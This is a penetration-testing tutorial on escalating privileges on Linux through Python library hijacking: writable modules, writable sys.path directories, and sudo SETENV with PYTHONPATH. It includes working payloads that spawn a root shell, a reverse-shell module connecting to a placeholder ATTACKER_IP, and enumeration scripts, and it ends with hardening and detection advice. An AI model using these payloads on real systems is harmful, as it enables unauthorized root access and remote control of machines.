Skip to Content
Python library hijacking showing PYTHONPATH manipulation and module import exploitation

Python Library Hijacking

Python library hijacking for privilege escalation, covering module permissions abuse, PYTHONPATH manipulation, and library path exploitation.

Jan 6, 2026
Updated Nov 22, 2026
7 min read

Introduction

Python library hijacking abuses the way Python finds modules on import. If a script runs as root (usually through sudo) and you can control which file Python loads for one of its imports, your code runs as root.

There are three ways in:

  1. A module the script imports is writable, so you edit it directly.
  2. A directory earlier in sys.path is writable, so you drop a module with the same name there.
  3. The sudo rule allows SETENV, so you point PYTHONPATH at a directory you control.

Why it comes up often

Python is installed on almost every Linux server, and a lot of admin tooling is Python scripts that end up in sudo rules. Nobody checks the permissions on dist-packages when they harden a box, and a pip install run with a loose umask leaves world-writable files behind.

Python module import order

Python checks the entries of sys.path in order and imports the first match:

python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

The directory of the script being run is checked before all of these. If you can write to any directory that comes before the one holding the real module, Python imports your file instead.

Attack vector 1: writable module files

Identifying the vulnerability

Look for Python scripts that run as root. Linux ignores the SUID bit on interpreter scripts (see execve(2)), so in practice this means a sudo rule, a cron job or a root service, but the SUID search is cheap and still worth running:

# Find SUID Python scripts
find / -perm -4000 -type f -name "*.py" 2>/dev/null

# Check script contents
cat /opt/scripts/mem_status.py

An example script:

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")

Finding writable modules

# Locate the imported module
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

# Check permissions
ls -la /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
-rw-r--rw- 1 root staff 87339 Dec 13 20:07 __init__.py

The module file is world-writable, so you can add code to it.

Exploitation

Add your payload to the function the script calls:

# In the imported function (e.g., virtual_memory())
def virtual_memory():
    # Injected code
    import os
    os.system('/bin/bash -p')  # Spawn privileged shell

    # Original function continues...
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    _TOTAL_PHYMEM = ret.total
    return ret

The next time the script runs as root, the payload runs with it:

./mem_status.py
# whoami
root

Attack vector 2: library path hijacking

Identifying the vulnerability

Check for writable directories in sys.path:

python3 -c 'import sys; print("\n".join(sys.path))'

# Check permissions on each path
ls -la /usr/lib/python3.8
drwxr-xrwx 30 root root 20480 Dec 14 16:26 .

If a directory earlier in the list is writable, you can create your own module there.

Finding the module location

# Find where the target module is installed
pip3 show psutil | grep Location
Location: /usr/local/lib/python3.8/dist-packages

/usr/lib/python3.8 is writable and comes before /usr/local/lib/python3.8/dist-packages, so a psutil.py there wins.

Exploitation

Create a module with the same name:

#!/usr/bin/env python3
# /usr/lib/python3.8/psutil.py

import os

def virtual_memory():
    os.system('id')
    # Don't return anything - script will error after our code runs

Run the script through sudo:

sudo /usr/bin/python3 mem_status.py
uid=0(root) gid=0(root) groups=0(root)

Reverse shell variant

#!/usr/bin/env python3
import os
import socket
import subprocess

def virtual_memory():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("ATTACKER_IP", 9001))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])

Attack vector 3: PYTHONPATH

Identifying the vulnerability

Check the sudo rules for SETENV:

sudo -l

User attacker may run the following commands:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

SETENV lets you set environment variables on the sudo command line, and sudo passes them through instead of stripping them.

Exploitation

Put a module in a directory you control:

#!/usr/bin/env python3
# /tmp/psutil.py

import os

def virtual_memory():
    os.system('id')

Run the script with PYTHONPATH pointing there:

sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/scripts/mem_status.py
uid=0(root) gid=0(root) groups=0(root)

Enumeration scripts

Find hijackable paths

#!/bin/bash
# find_hijackable.sh

echo "[*] Python paths:"
python3 -c 'import sys; print("\n".join(sys.path))'

echo -e "\n[*] Checking path permissions:"
for path in $(python3 -c 'import sys; print("\n".join(sys.path))'); do
    if [ -d "$path" ]; then
        perms=$(ls -ld "$path" 2>/dev/null | awk '{print $1}')
        echo "$path: $perms"
        if [ -w "$path" ]; then
            echo "  [!] WRITABLE!"
        fi
    fi
done

echo -e "\n[*] SUID Python scripts:"
find / -perm -4000 -type f -name "*.py" 2>/dev/null

echo -e "\n[*] Sudo Python permissions:"
sudo -l 2>/dev/null | grep -i python

Find writable modules

#!/bin/bash
# find_writable_modules.sh

for path in $(python3 -c 'import sys; print("\n".join(sys.path))'); do
    if [ -d "$path" ]; then
        find "$path" -type f -name "*.py" -writable 2>/dev/null
    fi
done

Defense and detection

Hardening

# Fix module permissions
find /usr/lib/python3* -type f -name "*.py" -exec chmod 644 {} \;
find /usr/lib/python3* -type d -exec chmod 755 {} \;

# Verify no world-writable paths
python3 -c 'import sys, os; [print(p) for p in sys.path if os.access(p, os.W_OK)]'

Detection

  • Monitor for new .py files in system Python paths
  • Audit every Python script that runs as root, and who can write to it and its imports
  • Remove SETENV from sudo rules
  • Look for unusual PYTHONPATH values in process environments

References

MITRE ATT&CK techniques

Python documentation

Other resources

On this page